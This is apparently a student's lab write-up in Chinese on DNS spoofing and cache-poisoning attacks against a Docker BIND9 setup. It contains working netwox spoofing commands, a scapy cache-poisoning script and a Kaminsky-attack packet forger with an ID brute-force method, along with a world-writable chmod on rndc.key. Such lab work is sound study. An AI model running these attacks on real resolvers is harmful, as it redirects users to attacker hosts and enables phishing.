當(dāng)前位置：首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【HUST】网安｜计算机网络安全实验｜实验二 DNS协议漏洞利用实验

發(fā)布時(shí)間：2025/5/22 编程问答 47 如意码农

生活随笔收集整理的這篇文章主要介紹了【HUST】网安｜计算机网络安全实验｜实验二 DNS协议漏洞利用实验小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

寫在最前：
這是我個(gè)人的實(shí)驗(yàn)記錄，實(shí)現(xiàn)方式有很多種，多臺虛擬機(jī)更容易做netwox。
認(rèn)真整理和記錄了一下容易出問題的地方。
代碼倉庫開了。

文章目錄

涉及代碼的倉庫地址
計(jì)算機(jī)網(wǎng)絡(luò)安全實(shí)驗(yàn)二
- DNS協(xié)議漏洞利用實(shí)驗(yàn)
- - docker使用
  - - 建立實(shí)驗(yàn)環(huán)境
    - docker常用指令
  - 一些注意事項(xiàng)
  - 設(shè)置本地 DNS 服務(wù)器
  - - 配置用戶計(jì)算機(jī)
    - 設(shè)置本地DNS服務(wù)器
    - 在本地 DNS 服務(wù)器中建一個(gè)區(qū)域
  - 修改主機(jī)文件（可略）
  - netwox實(shí)施DNS的用戶響應(yīng)欺騙攻擊
  - netwox實(shí)施DNS的緩存中毒攻擊
  - scapy實(shí)施DNS緩存中毒攻擊
  - 遠(yuǎn)程 DNS 緩存中毒攻擊-Kaminsky
  - - 實(shí)驗(yàn)環(huán)境配置
    - 攻擊原理
    - 攻擊過程

涉及代碼的倉庫地址

HUST計(jì)算機(jī)網(wǎng)絡(luò)安全實(shí)驗(yàn)_Gitee
Github

計(jì)算機(jī)網(wǎng)絡(luò)安全實(shí)驗(yàn)二

DNS協(xié)議漏洞利用實(shí)驗(yàn)

docker使用

建立實(shí)驗(yàn)環(huán)境

普通用戶： seed 密碼:dees
超級用戶：root 密碼：seedubuntu

Network(bridge)：10.10.10.0/24：

sudo docker network create --subnet=10.10.10.0/24 dnsnetwork

創(chuàng)建dns(注意創(chuàng)建docker的時(shí)候不要寫privileged)：

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

創(chuàng)建user：

sudo docker run -it --name=user --hostname=user --net dnsnetwork --ip=10.10.10.3 "seedubuntu" /bin/bash

創(chuàng)建dns：

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

我的ip：

Attacker：10.10.10.1

dns：10.10.10.2

user：10.10.10.3

網(wǎng)卡：br-29c63b220f5a

docker常用指令

打開或停止HostM：

sudo docker start/stop HostM

把HostM映射到bash中：

sudo docker exec -it HostM /bin/bash

查看當(dāng)前docker有哪些：

sudo docker ps -a

關(guān)閉防火墻：

sudo iptables -F

主機(jī)和容器之間拷貝數(shù)據(jù)：

sudo docker cp 容器名稱:路徑 主機(jī)路徑

sudo docker cp 主機(jī)路徑 容器名稱:路徑

一些注意事項(xiàng)

每次重啟之后，/etc/resolv.conf會(huì)被改成原來的內(nèi)容。
修改BIND9的配置后，可以運(yùn)行sudo rndc flush測試一下。當(dāng)遇到rndc: connect failed: 127.0.0.1#953: connection refused報(bào)錯(cuò)時(shí)，先試著重啟BIND9服務(wù)，再找找bind9的配置項(xiàng)是否出錯(cuò)，改回默認(rèn)配置，把錯(cuò)誤糾正。如果不是配置問題，就運(yùn)行sudo named -d 3 -f -g檢查錯(cuò)誤信息。注意，named指令會(huì)導(dǎo)致DNS緩存一直無條目，不要在做后面的實(shí)驗(yàn)時(shí)用。
配置項(xiàng)相關(guān)文件的權(quán)限最好都設(shè)置成可讀可寫，還有/etc/bind/rndc.key。
DNS服務(wù)器中出現(xiàn)不想要的緩存的時(shí)候，可以用rndc flushname xxx.com清除。免得等半天。
DNS遠(yuǎn)程攻擊的時(shí)候，如果修改了攻擊機(jī)上的配置，最好是把DNS服務(wù)器的緩存清空，然后兩個(gè)機(jī)子的BIND9服務(wù)都重啟，否則DNS緩存刷新不及時(shí)，妨礙后續(xù)攻擊。具體咋回事多dumpdb看看DNS緩存就行。
服務(wù)器返回icmp報(bào)文說端口不可達(dá)，原因可能是服務(wù)器的bind9未啟動(dòng)，服務(wù)器運(yùn)行service bind9 start。
如果碰到下圖這種解析成UDP包的，不要慌！只是Wireshark顯示異常，僅此而已，你去服務(wù)器里邊dumpdb一點(diǎn)問題沒有！

設(shè)置本地 DNS 服務(wù)器

配置用戶計(jì)算機(jī)

修改user主機(jī)的/etc/resolv.conf文件，將服務(wù)器IP添加為文件中的第一個(gè) nameserver 條目，即此服務(wù)器將用作主 DNS 服務(wù)器，如下圖所示：

完成配置用戶計(jì)算機(jī)之后，使用 dig 命令獲取任意網(wǎng)址的 IP 地址，可以看到回應(yīng)來自于10.10.10.2。如下圖：

即user的配置成功。

設(shè)置本地DNS服務(wù)器

編輯/etc/bind/named.conf.options：確認(rèn)①dump-file "/var/cache/bind/dump.db";；②dnssec-validation auto被注釋，dnssec-enable是no(關(guān)閉DNSSEC)；③端口號設(shè)置好。如下圖所示，打開的時(shí)候已經(jīng)配置好了：

重啟DNS服務(wù)器：

sudo service bind9 restart

然后再運(yùn)行提權(quán)指令減少一些報(bào)錯(cuò)：

sudo chmod 777 /var/cache/bind/dump.db # 提高緩存文件的權(quán)限

sudo chmod 777 /etc/bind/rndc.key # 提高rndc的權(quán)限

服務(wù)器常用指令：

sudo rndc dumpdb -cache # 將緩存轉(zhuǎn)儲到特定文件

sudo rndc flush # 清除DNS緩存

在用戶機(jī)上運(yùn)行ping指令測試：

ping www.baidu.com

在Wireshark上查看ping命令觸發(fā)的DNS查詢。

前期發(fā)送了大量的DNS查詢報(bào)文，遞歸查詢。（對應(yīng)藍(lán)色部分）
當(dāng)ping通之后，不需要再進(jìn)行DNS查詢，因此直接從緩存中讀取IP地址。（對應(yīng)的是連續(xù)的粉紅色部分）

在本地 DNS 服務(wù)器中建一個(gè)區(qū)域

創(chuàng)建區(qū)域：在dns中編輯/etc/bind/named.conf.default-zones，添加：

zone "example.com" {

     type master;

     file "/etc/bind/example.com.db";

};

zone "0.168.192.in-addr.arpa" {

     type master;

     file "/etc/bind/192.168.0.db";

};

把文件從主機(jī)中移動(dòng)到docker中：

sudo docker cp 192.168.0.db dns:/etc/bind/ # 正向查找區(qū)域文件

sudo docker cp example.com.db dns:/etc/bind/ # 反向查找區(qū)域文件

重新啟動(dòng)BIND服務(wù)器：
```
sudo service bind9 restart
```
用戶機(jī)運(yùn)行dig www.example.com進(jìn)行測試授權(quán)域配置：

觀察IP地址，與設(shè)置的一樣。
用戶機(jī)運(yùn)行dig www.baidu.com進(jìn)行測試非授權(quán)域配置：

對于非授權(quán)域域名，也能夠成功獲得相應(yīng)信息。

實(shí)驗(yàn)環(huán)境配置完成。

修改主機(jī)文件（可略）

修改/etc/hosts文件，添加：

1.2.3.4 www.bank32.com

用dig命令測試結(jié)果，發(fā)現(xiàn)修改主機(jī)文件確實(shí)不影響對www.bank32.com文件解析，如下圖所示：

用ping命令測試修改結(jié)果，確實(shí)影響了，如下圖所示：

用Web瀏覽器測試結(jié)果，這個(gè)需要到seed@VM中檢驗(yàn)。因此把seed@VM的/etc/hosts也修改一下，測試結(jié)果如下。

如上圖所示，解析的DesIP被修改成1.2.3.4。

netwox可參考：DNS攻擊 - Wsine - 博客園 (cnblogs.com)，基本上就是實(shí)驗(yàn)內(nèi)容。

netwox實(shí)施DNS的用戶響應(yīng)欺騙攻擊

攻擊指令：

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.3" --device "br-29c63b220f5a"

攻擊的是user，注意一定要加上–device 網(wǎng)卡，否則filter參數(shù)會(huì)失效。

運(yùn)行攻擊指令，并在用戶機(jī)上dig news.youtube.com觸發(fā)。

在攻擊機(jī)上可以看到偽造的響應(yīng)：

在user上查看回應(yīng)，與偽造的一致：

觀察到得到錯(cuò)誤的DNS返回，并且顯示為指定的IP地址，也返回了查詢網(wǎng)址的權(quán)威域名及其IP地址。結(jié)果符合預(yù)期，攻擊成功。

令攻擊機(jī)停止攻擊，再次dig news.youtube.com，在user上顯示：

此時(shí)返回的結(jié)果與真實(shí)結(jié)果一致。
說明攻擊的確實(shí)是DNS的用戶響應(yīng)，不影響DNS服務(wù)器的正常請求。

netwox實(shí)施DNS的緩存中毒攻擊

在攻擊機(jī)上運(yùn)行：

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.2" --device "br-29c63b220f5a" --spoofip "raw" --ttl 600

意思是設(shè)置DNS響應(yīng)包域名news.youtube.com對應(yīng)IP地址為101.102.103.104，權(quán)威名稱服務(wù)器ns.youtube.com對應(yīng)的IP地址為55.66.77.88。

攻擊的是DNS服務(wù)器的緩存，ttl生存時(shí)間代表緩存留存在DNS服務(wù)器上的時(shí)間600（秒）。spoofip參數(shù)選擇raw，否則netwox將對被欺騙的IP地址也進(jìn)行MAC地址欺騙，因?yàn)锳RP查詢響應(yīng)的等待時(shí)間問題，實(shí)驗(yàn)有可能失敗。

實(shí)際上，就算加了參數(shù)，在docker上做實(shí)驗(yàn)，但是在三臺虛擬主機(jī)上做實(shí)驗(yàn)就必成功（親測），還是有很大的可能失敗。

以下是難得成功的一次截圖。

首先清空DNS緩存：
```
sudo rndc flush
```
為了提高攻擊的成功率，添加對外訪問的時(shí)延如下（其實(shí)就是DNS服務(wù)器對外訪問慢一點(diǎn)，保證它優(yōu)先收到攻擊機(jī)的回應(yīng)）：
```
sudo tc qdisc add dev br-29c63b220f5a root netem delay 1s
```
運(yùn)行攻擊命令，用dig news.youtube.com觸發(fā)：

觀察到，攻擊機(jī)成功嗅探到DNS服務(wù)器向上發(fā)出的DNS請求包，并偽造上層DNS服務(wù)器向其發(fā)送回復(fù)報(bào)文。

在user上dig指令的結(jié)果：

觀察到IP地址、權(quán)威域名服務(wù)器地址被修改成期望的地址。

同時(shí)用Wireshark抓包，得到如下結(jié)果：

觀察到，攻擊機(jī)比真實(shí)DNS服務(wù)器提前一步發(fā)送DNS響應(yīng)，從而導(dǎo)致DNS緩存中毒。

轉(zhuǎn)儲并查看DNS服務(wù)器緩存，如下：
```
sudo rndc dumpdb -cache

sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack"
```
停止攻擊后，再次用dig進(jìn)行域名查詢，觀察到返回的結(jié)果與上述結(jié)果一致：

可以通過時(shí)間、TTL來判斷，確實(shí)是攻擊前后發(fā)的兩次不同的查詢。

DNS緩存中毒成功。

scapy實(shí)施DNS緩存中毒攻擊

針對授權(quán)域Authority Section和附加域Additional Section的攻擊腳本：

該腳本既將授權(quán)域改成了attacker32.com，也將附加域修改了。

from scapy.all import *

def spoof_dns(pkt):

  #pkt.show()

  if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):

    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section

    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.5')

    # The Authority Section

    NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')

    NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')

    # The Additional Section

    Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')

    Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8')

    # Construct the DNS packet

    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

    # Construct the entire IP packet and send it out

    spoofpkt = IPpkt/UDPpkt/DNSpkt

    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().

pkt = sniff(filter='udp and dst port 53 and src host 10.10.10.2', prn=spoof_dns)

運(yùn)行攻擊腳本，在user上使用dig www.example.net命令激發(fā)DNS查詢，攻擊腳本運(yùn)行如下圖：
user上返回結(jié)果如下圖：

與攻擊腳本一致，授權(quán)域和附加域都被修改了。
同時(shí)查看Wireshark的抓包結(jié)果，觀察到發(fā)送的偽造報(bào)文：
轉(zhuǎn)儲并查看DNS服務(wù)器緩存，結(jié)果如下：

觀察到，沒有attacker32.cn的緩存記錄，這是因?yàn)閍ttacker32.cn沒有出現(xiàn)在授權(quán)域中。
停止攻擊后，再次用dig進(jìn)行域名查詢，觀察到返回的結(jié)果與上述結(jié)果一致：

可以通過時(shí)間、TTL來判斷，確實(shí)是攻擊前后發(fā)的兩次不同的查詢。

DNS緩存中毒成功。
此時(shí)使用dig mail.example.net命令進(jìn)行查詢，根據(jù)Wireshark抓包結(jié)果得知，當(dāng)再次進(jìn)行相同域的DNS查詢時(shí)，會(huì)首先對在緩存中的NS條目指定的域名服務(wù)器進(jìn)行查詢，如下圖：

因此，對附加域的攻擊也是成功的。

這是我參考過的博客(實(shí)驗(yàn)指導(dǎo)書其實(shí)已經(jīng)寫得很詳細(xì)了)：
主要參考：DNS 緩存中毒–Kaminsky 攻擊復(fù)現(xiàn)。

遠(yuǎn)程 DNS 緩存中毒攻擊-Kaminsky

實(shí)驗(yàn)環(huán)境配置

在dns中編輯/etc/bind/named.conf.default-zones，注釋掉之前配置的example.com區(qū)域。并添加假域名去展示實(shí)驗(yàn)效果：
```
zone "ns.ssd.net" {

     type master;

     file "/etc/bind/ssd.net.db";

};
```

在dns中添加文件/etc/bind/ssd.net.db，并將以下內(nèi)容放入其中：

$TTL 604800

@ IN SOA localhost. root.localhost. (

	2 ; Serial

	604800 ; Refresh

	86400 ; Retry

	2419200 ; Expire

	604800 ) ; Negative Cache TTL

@ IN NS ns.ssd.net.

@ IN A 10.10.10.1

ns IN A 10.10.10.1

* IN A 10.10.10.1

其中ns.ssd.net修改成自己的假域名，10.10.10.1修改成攻擊機(jī)的IP。

在用戶機(jī)上運(yùn)行ping ns.ssd.net測試是否配置成功：

如圖，已經(jīng)配置成功了。

在攻擊機(jī)中配置DNS服務(wù)器，去回答example.com的查詢。在攻擊機(jī)中編輯/etc/bind/named.conf添加以下內(nèi)容：
```
zone "example.com" {

        type master;

        file "/etc/bind/example.com.zone";

};
```
然后創(chuàng)建文件/etc/bind/example.com.zone，添加以下內(nèi)容：
```
$TTL 3D

@ IN SOA ns.example.com. admin.example.com (

	2008111001

	8H

	2H

	4W

	1D )

@ IN NS ns.ssd.net.

@ IN A 1.1.1.1

www IN A 1.1.1.2

ns IN A 10.10.10.168

* IN A 10.10.10.17
```
注意：在配置完攻擊機(jī)和服務(wù)機(jī)之后，可以運(yùn)行sudo rndc flush測試一下。當(dāng)遇到rndc: connect failed: 127.0.0.1#953: connection refused報(bào)錯(cuò)時(shí)，說明bind9的配置項(xiàng)出錯(cuò)，此時(shí)可以找找改了哪里，把錯(cuò)誤糾正。

等到攻擊成功后，www.example.com對應(yīng)的是1.1.1.2。
將之前實(shí)驗(yàn)添加的網(wǎng)絡(luò)時(shí)延規(guī)則刪除：
```
sudo tc qdisc del dev br-29c63b220f5a root
```
其他配置不變。刷新緩存，重啟dns和攻擊機(jī)上的DNS服務(wù)器：
```
sudo rndc flush

sudo service bind9 restart
```
在user上多次運(yùn)行dig www.example.com，直到得到結(jié)果：

如果能得到結(jié)果，說明環(huán)境配置成功。

觀察返回的信息，可以知道www.example.com的遠(yuǎn)程請求過程：①user向dns發(fā)起詢問，DNS服務(wù)器依次查詢；②先查到根域名服務(wù)器的地址；③再通過根域名服務(wù)器得到.com頂級域名服務(wù)器的地址；④再通過.com頂級域名服務(wù)器查詢得到example.com權(quán)威域名服務(wù)器的地址；⑤通過詢問example.com權(quán)威域名服務(wù)器，得到www.example.com的IP地址為93.184.216.34。

攻擊原理

當(dāng)dns中已經(jīng)有example.com的緩存信息時(shí)，它不再從根域名服務(wù)器查起，而是直接詢問example.com。攻擊機(jī)可以想Apollo發(fā)送偽造的響應(yīng)，比真正的example.com先一步到達(dá)dns即可。

但是由于dns緩存有較長時(shí)間，攻擊機(jī)想要等待服務(wù)器主動(dòng)發(fā)起對指定域名的DNS請求需要時(shí)間。Dan Kaminsky提出了一種攻擊方法去避免這個(gè)問題，該方法的步驟是：

①攻擊者查詢example.com隨機(jī)的不存在的名稱；
②dns服務(wù)器緩存中沒有這一域名，因此向example.com發(fā)起請求；
③攻擊機(jī)針對請求發(fā)送DNS欺騙流，不僅為該域名提供Answer，還將ns.姓名.net作為example.com域的權(quán)威域名服務(wù)器，從而破壞緩存。

攻擊過程

為了提高攻擊成功率，再次添加時(shí)延（建議少加點(diǎn)）：

sudo tc qdisc add dev br-29c63b220f5a root netem delay 100ms

注：如果wireshark看到dns服務(wù)響應(yīng)很慢，別加了。如果外網(wǎng)響應(yīng)太快死活攻擊不成功，多加點(diǎn)。

兩個(gè)攻擊腳本：

偽造請求包和響應(yīng)包的python程序general_dns.py：

from scapy.all import *

import string

import random

# random name

name = ''.join(random.sample(string.ascii_letters, 5))+'.example.com'

print(name)

Qdsec = DNSQR(qname=name)

# query

ip_q  = IP(dst='10.10.10.2',src='10.10.10.1') # dst: dns; src:attacker

udp_q = UDP(dport=53,sport=33333,chksum=0)

dns_q = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)

pkt_q= ip_q/udp_q/dns_q

# reply

ip_r = IP(dst='10.10.10.2', src='199.43.135.53', chksum=0)

udp_r = UDP(dport=33333, sport=53, chksum=0)

Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)

 # The Authority Section

NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.ssd.net')

Addsec = DNSRR(rrname='ns.ssd.net', type='A', ttl=259200, rdata='10.10.10.1')

dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)

pkt_r = ip_r/udp_r/dns_r

with open('query.bin','wb')as f:

  f.write(bytes(pkt_q))

with open('reply.bin', 'wb') as f:

  f.write(bytes(pkt_r))

其中響應(yīng)包的id要隨機(jī)生成，發(fā)送從0~ffff號的所有報(bào)文來進(jìn)行DNS欺騙。

用bless查看構(gòu)造的reply.bin的二進(jìn)制，找到id的偏移地址：

偏移量為0x1c，十進(jìn)制為28。

攻擊程序dns_attack.c的編寫邏輯：

每輪循環(huán)開始，先運(yùn)行一次偽造請求包和響應(yīng)包的python程序；
打開query.bin和reply.bin，寫入緩存區(qū)。
發(fā)送DNS請求包；
修改reply.bin的dns序列號，從1000~65535(觀察了一下，發(fā)包速度相當(dāng)快，可以支持多發(fā)一些包)，轉(zhuǎn)換成大端字節(jié)序再寫入(也可以不轉(zhuǎn))。并重新計(jì)算dns的chksum。
依次發(fā)送這些DNS響應(yīng)包。再回到1重新循環(huán)。

發(fā)包的C程序dns_attack.c：

程序在Gitee里，放這里顯示會(huì)出錯(cuò)。

編譯程序的方式：

gcc -lpcap dns_attack.c -o dns_attack

編譯并運(yùn)行發(fā)包攻擊程序，過一會(huì)兒在dns上轉(zhuǎn)儲cache，運(yùn)行：
```
sudo rndc dumpdb -cache

sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack|ssd"
```
可以看到example.com現(xiàn)在對應(yīng)的是ns.ssd.net，其他的被注釋掉了，IP也解析成攻擊目標(biāo)了，相當(dāng)成功。

再觀察一下Wireshark的報(bào)文：

能看到偽造的隨機(jī)請求包，也可以看到服務(wù)器收到偽造的請求包，開始主動(dòng)向權(quán)威域名服務(wù)器請求，還可以看到偽造的序號順序的響應(yīng)。

如果，①偽造的請求包、②服務(wù)器向權(quán)威域名服務(wù)器的請求包，以及③偽造的回應(yīng)包、④真實(shí)權(quán)威域名服務(wù)器的回應(yīng)包，有任一無法找到，則說明攻擊結(jié)果異常，請具體情況具體分析，不要一味攻擊。
正常情況，在序列號從10000到65535的欺騙中，有約85%的幾率一次攻擊成功。
最多攻擊5次，即可停下。如果Ctrl+C無法中止程序，請用ps -a查看進(jìn)程號，再kill 進(jìn)程號，終止程序。
注：在發(fā)起攻擊之前，清空DNS緩存、使用用戶機(jī)dig www.example.com拿到IP(使服務(wù)器中具備權(quán)威域名服務(wù)器的緩存)，將會(huì)節(jié)省DNS服務(wù)器向根域名服務(wù)器詢問權(quán)威域名服務(wù)器的時(shí)間，從而減少攻擊的時(shí)長。【如果不提前dig就直接攻擊，攻擊過程中持續(xù)看cache，刷出來example了就停下，有85%的幾率可以得到一個(gè)完全沒有真實(shí)權(quán)威域名服務(wù)器cache記錄的結(jié)果，我愿稱之為完美】

只要序號符合0xe0fa，并且比真實(shí)服務(wù)器早，就可以攻擊成功。

過濾10.10.10.1的報(bào)文，除了這些報(bào)文以及服務(wù)器的主動(dòng)請求之外，其他的報(bào)文就是攻擊機(jī)偽造的請求。可以看到攻擊成功的可能性很大。

注意：已經(jīng)攻擊完成后，一定要及時(shí)中止dns_attack程序。我在已經(jīng)集齊所有完美的實(shí)驗(yàn)現(xiàn)象之后，忘記中止攻擊程序，然后發(fā)送了過多的攻擊報(bào)文，我自己的sock崩潰了。隨后虛擬機(jī)內(nèi)存不夠，自動(dòng)關(guān)機(jī)重啟，還好我有快照，否則我也會(huì)崩潰了。
此時(shí)在用戶機(jī)上運(yùn)行dig www.example.com、dig abcd.example.com去測試：

可以看到，域名成功地被解析成預(yù)期值1.1.1.2了！

然后隨便攻擊一個(gè)example.com域的域名，也可以成功解析成預(yù)期值：

因此攻擊成功。

不點(diǎn)個(gè)贊再走嘛！？

總結(jié)

以上是生活随笔為你收集整理的【HUST】网安｜计算机网络安全实验｜实验二 DNS协议漏洞利用实验的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。